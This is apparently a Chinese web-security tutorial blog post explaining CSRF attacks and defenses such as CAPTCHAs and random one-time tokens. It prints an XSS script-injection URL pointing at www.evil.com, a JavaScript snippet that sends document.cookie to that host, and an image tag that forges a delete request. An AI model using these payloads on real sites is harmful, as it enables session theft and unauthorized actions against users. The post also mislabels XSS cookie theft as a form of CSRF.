您的位置:首页 > Web前端 > HTML

CSRF攻击

2017-03-08 22:25 218 查看
CSRF(Cross-site request forgery),中文名称:跨站请求伪造。你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号。造成的问题包括:个人隐私泄露以及财产安全。

cookie劫持

下面来看一下CSRF攻击的案例,第一种是cookie劫持。我们知道cookie用来实现会话,保存了用户的登录凭证。攻击者先加载一个远程脚本(一般通过xss漏洞,比如有xss漏洞的文章,评论等)

http://www.A.com/test.html?abc="><script src=http://www.evil.com/evil.js ></script>


在evil.js中,可以通过以下代码窃取cookie

var img = document.createElement("img");
//encodeURI对参数进行编码
img.src = "http://www.evil.com/log?" + encodeURI(document.cookie);
document.body.appendChild(img);


这样远程服务器就得到了用户的cookie内容。

构造GET和POST请求

这种攻击受害者必须依次完成两个步骤:

  1.登录受信任网站A,并在本地生成Cookie。

  2.在不登出A的情况下,访问危险网站B。

假如危险网站B中对A的服务器进行了请求,这时请求自动带上了A的cookie(因为访问的是A的服务器),A的服务器不能识别是页面B发的请求还是页面A发的请求,所以它的伪造请求就能以你的身份做一些需要权限的操作。

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:

  1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。

  2.你不能保证你关闭浏览器了后,你本地的cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了)

攻击者可以在危险网站B上发送请求,比如在博客上有一篇文章,正常删除它的链接是

http://blog.xx.com/manage/entry?m=delete&id=123456[/code] 
那么对于攻击者来说,只需要知道文章id就能删除它了。攻击者可以通过插入一张图片来发起一个GET请求

var img = document.createElement("img");
img.src = "http://blog.xx.com/manage/entry?m=delete&id=123456";
document.body.appendChild(img);


同样,也可以通过模拟表单来发起POST请求。

CSRF防御

CSRF防御可以通过验证码来防范,如果使用验证码,那么每次操作都要于用户互动,那么简单有效地防御了攻击。但是如果任何举动都要输验证码会影响用户体验,所以一般在关键操作的时候使用(验证码无法解决cookie劫持的问题)

可以使用Token(在页面表单中某个位置埋下Token),构造请求要成功的条件在于攻击者能够准确预测所有参数从而构造出合法的请求,所以我们可以加多一个参数Token,其值是随机的,这样攻击者因为不知道Token而无法构造出合法的请求进行攻击(当然恶意网站可以去你当前网站抓Token)。我们需要保证

- Token要足够随机

- Token是一次性的,即每次请求成功后都要更新Token

- Token要有保密性,敏感操作使用POST,防止Token出现在URL中
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息